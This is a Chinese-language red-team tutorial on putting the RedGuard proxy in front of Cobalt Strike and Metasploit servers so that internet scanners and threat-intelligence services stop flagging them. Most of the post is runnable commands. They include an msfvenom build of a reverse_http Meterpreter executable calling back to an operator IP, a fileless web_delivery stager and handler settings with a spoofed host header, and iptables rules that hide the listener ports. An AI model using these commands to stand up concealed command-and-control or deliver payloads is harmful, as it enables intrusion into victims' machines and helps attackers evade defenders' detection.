简介

前几天发现自己的服务器被 fofa 和微步情报标记为了 cobaltstrike 服务器,由于以前使用的版本没有对相应的特征做修改,导致被空间搜索引擎标记,刚好看到风起在朋友圈发布了 RedGuard,于是赶紧试试鲜。
RedGuard 由风起大佬编写的一款 c2 前置流量控制工具,可以帮助红队更好的隐藏 c2 基础设施,且目前还在更新和完善之中,在写这篇文章之后又进行了 2 次更新,优化和增加了一些新功能。
github 地址

使用

第一次运行会在用户目录生成 **.RedGuard_CobaltStrike.ini 文件,编辑此文件对其进行配置,当然也支持参数进行热配置。


重点关注 3 个配置
1.PORT_HTTPS
2.PORT_HTTP
3.HostTarget
如上图,当前配置的意思是将 Port_http 的 80 端口绑定到本机 127.0.0.1 的 8080 端口,当有请求访问服务器的 80 端口,RedGuard 会对请求特征做判断,当请求不符合规则 (及 host 头不是 360.net,这个可以随意设置),请求会被重定向到 https://360.net,否则请求会被转发到 cs 的监听端口 8080 端口。请求会不会被重定向取决于 DROP 参数,如 DORP 参数设置为 true 将直接丢弃请求包。

同理 ,443 端口被绑定到本机 127.0.0.1 的 8443 端口,当请求不符合规则时将请求重定向到 https://360.net,当 host 头为 360.com 时将请求转发到 cs 的 8443 监听端口,主要取决于你 cs 的监听器是 http 还是 https。

更多设置,如过滤上线 ip、上线时间、上线省份请参考作者官方文档 RedGuard 文档
当然,这种场景适合将反代和 cs 服务器建在同一台机器上,比较节省资源,配合 iptables 可防止网络空间搜索引擎将你的服务器标记。
CS
启动 RedGuard

sudo ./RedGuard_64
Plain text

cs 新建监听,c2 端口设置为 RedGaurd 的反代端口,bind 设置为 cs 的监听端口,注意 host header 可以随意设置,但一定要和配置文件里的一致。


再配置 IPtables,只允许 127.0.0.1 访问本机的 8443 端口

iptables -I INPUT -p tcp --dport 8443 -j DROP #丢弃所有访问 8443 端口的包
iptables -I INPUT -p tcp -s 127.0.0.1 --dport 8443 -j ACCEPT #只允许 127.0.0.1 访问本机的 8443 端口
Plain text

这样就可以正常上线了
还有一种就是拿一台单独的服务器做反代服务器,另一台服务器做真正的 cs 服务器,只需简单修改配置文件即可


这里将 192.168.1.8 用作反代服务器,192.168.1.7 作为真正的 cs 服务器,HosTtarget 填写 cs 服务器的地址 192.168.1.7
新建 cs 监听,填写相应端口。

在 cs 服务器配置防火墙,只允许反向代理服务器来访问 cs 的监听端口

iptables -I INPUT -p tcp --dport 8443 -j DROP 
iptables -I INPUT -p tcp -s 192.168.1.8 --dport 8443 -j ACCEPT 
Plain text

MSF

最简单的直接生成载荷

msfvenom -p windows/x64/meterpreter/reverse_http  LHOST=10.197.10.131 LPORT=80  HttpHostHeader=360.net -f exe -o test.exe
Plain text

建立监听和设置参数,这里反代端口为 80 端口,80 端口收到请求且符合规则后将其转发到本地的 8080 端口

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 8080
 
set OverrideLHOST 10.197.10.131 
set overrideLPORT 80
set overriderequesthost true
set httphostheader 360.net 

run
Plain text

配置防火墙

iptables -I INPUT -p tcp --dport 8080 -j DROP 
iptables -I INPUT -p tcp -s 127.0.0.1 --dport 8080 -j ACCEPT
Plain text


在能执行命令的情况下,想方便点使用无文件落地的方式

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_http
set lhost 192.168.1.8
set lport 80 #端口设置为反向代理端口
set srvport 8082 #用于下载 stage
set httphostheader 360.net
set OverrideLhOST 192.168.1.8
set overrideLpoRT 80
set overriderequesthost true
set DisablePayloadHandler true #关闭监听
run

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_http
set lhost 127.0.0.1
set lport 8080
set httphostheader 360.net
set OverrideLhOST 192.168.1.8
set overrideLpoRT 80
set overriderequesthost true
run
Plain text

防火墙

iptables -I INPUT -p tcp --dport 8080 -j DROP 
iptables -I INPUT -p tcp -s 127.0.0.1 --dport 8080 -j ACCEPT
Plain text

成功上线